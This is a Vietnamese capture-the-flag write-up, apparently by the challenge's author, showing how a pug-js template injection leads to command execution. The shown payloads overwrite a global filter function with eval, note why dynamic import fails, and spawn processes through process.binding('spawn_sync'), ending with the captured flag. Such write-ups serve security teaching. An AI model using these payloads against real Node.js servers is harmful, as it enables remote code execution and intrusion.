## Render4free
Ở bài này mục tiêu là tìm cách khai thác lỗi SSTI với context là template engine `pug-js`. Sink ở đây là `pug.render`

trở ngại dễ thấy nhất là hàm `replace_bad_char` sẽ replace đi các ký tự cần thiết để gọi hàm cũng như filter đi dấu `#` và `{` khiến ta khó khăn trong việc khai thác

Tại document của pugjs ta thấy vẫn còn rất nhiều cách khác để thực thi code như
```
- <code>
```
```
if <code>:
```
Vậy nếu đã chạy được code js rồi thì ta có thể làm gì? ta có thể thấy rằng hàm `replace_bad_char` được gán ở global, ta có thể dễ dàng overwrite hàm này thành một hàm vô hại thông qua cú pháp `arrow function`:
```
http://localhost:3000/eval?p=if global.replace_bad_char = a=>a
```
Lúc này để thuận tiện hơn, ta có thể overwrite một lần nữa để hàm `replace_bad_char` thực thi `eval` trên input nhập vào
```
http://localhost:3000/eval?p=if global.replace_bad_char = a=>eval(a)
```
Lúc này việc đầu tiên ta nghĩ đến là import module `child_process` vào và gọi đến `exec_sync` để cat flag. Để import module này ta có thể gọi đến `process.mainModule.require` để require đến

thông báo lỗi này có nghĩa là thuộc tính `mainModule` của `process` không tồn tại, tại sao lại như thế?
Nhìn vào package.json ta có thể thấy option `type` đang được set thành `module`

Ở nodejs có 2 kiểu chia module là `commonjs` và `module`, với `module` thì các module phải được import thông qua từ khóa `import` với cú pháp `import <name> from 'name';`, tuy nhiên thì `import` cũng là một hàm, hàm này trả về một promise giá trị trả về là một object của module đã được import. Vậy ta có thể dùng cách sau để import child_process:
```
import("child_process").then(mod => mod.execSync('calc'))
```
Tuy nhiên quay lại phần đầu thì mình cũng đã gán cho `Promise.prototype.then` thành 1 hàm trả về null, nghĩa là giờ ta cũng không thể dùng cách này được :v ác, thằng nào ra câu này vậy
Đến lúc này ta chỉ còn một cách đó là gọi đến `process.binding` nhằm import các internal modules của nodejs, trong số đó có `spawn_sync` giúp spawn ra một process mới. Phần khó của cách này đó là làm sao để place đúng các argument của hàm
```
process.binding('spawn_sync').spawn({
file: '/usr/bin/id',
args: [
'/usr/bin/id'
],
stdio: [
{type:'pipe',readable:true,writable:false},
{type:'pipe',readable:false,writable:true},
{type:'pipe',readable:false,writable:true}
]}
).output.toString()
```
Các argument này có thể được biết thông qua việc đọc source code của các file internal trong nodejs, vì nó quá dark nên có lẽ mình sẽ không giải thích ở đây :v nhìn sơ qua các bạn có thể thấy `file` là đường dẫn đến executable và args và các argument, `stdio` sẽ bao gồm stdin, stdout và stderr:

read flag:

`W1{JuSt_4n_0pt10n_c4n_m4K3_1t_th1z_h4rd?!}`
Điều thú vị là vì result được in ra ở nhánh `catch` nên nó bypass qua luôn phần check `W1` của mình =))) thật ra mình check để thêm chút trở ngại nhỏ thôi chứ cũng không vấn đề gì cả
